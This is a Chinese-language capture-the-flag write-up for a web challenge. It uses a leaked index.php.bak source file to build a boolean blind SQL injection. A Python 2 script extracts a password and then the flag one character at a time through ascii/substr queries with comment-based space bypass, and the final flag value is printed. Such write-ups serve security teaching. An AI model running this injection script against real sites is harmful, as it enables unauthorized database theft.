给了源代码，在
index.php.bak根据代码，payload =
?token=21232f297a57a5a743894a0e4a801fc3&userid=&password=这题时间盲注（虽然sleep不可用，但也有其他方法来实现）和bool盲注都可以，但推荐bool盲注(条件写的很清楚)
先得password
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{} _@' #最好ascii 遍历
flag=''
for x in xrange(0,50):
for i in dic:
url = 'http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=(ascii(substr((select/**/password/**/from/**/user)/**/from/**/%d/**/for/**/1))=%d)&password=1' %(x,ord(i))
try:
response = requests.get(url,timeout=3)
if response.content.find('error password!')!=-1:
flag = flag + i
print flag
break
except Exception,e:
pass
print flag得到password,后reponse 为
error sql!。根据代码更改payload?token=21232f297a57a5a743894a0e4a801fc3&userid=1&password=219d03ad2d752ad2806ea1de18613158&infoid=1
reponse 为flag is in flag!
- 再读取flag
1
2
3....
url = 'http://106.12.37.37:8080/level2/?token=21232f297a57a5a743894a0e4a801fc3&userid=(ascii(substr((select/**/flag/**/from/**/flag)/**/from/**/%d/**/for/**/1))=%d)&password=1' %(x,ord(i))
.... - 便可得到flag
1
flag{b75079652c058c54f066e158727cd494}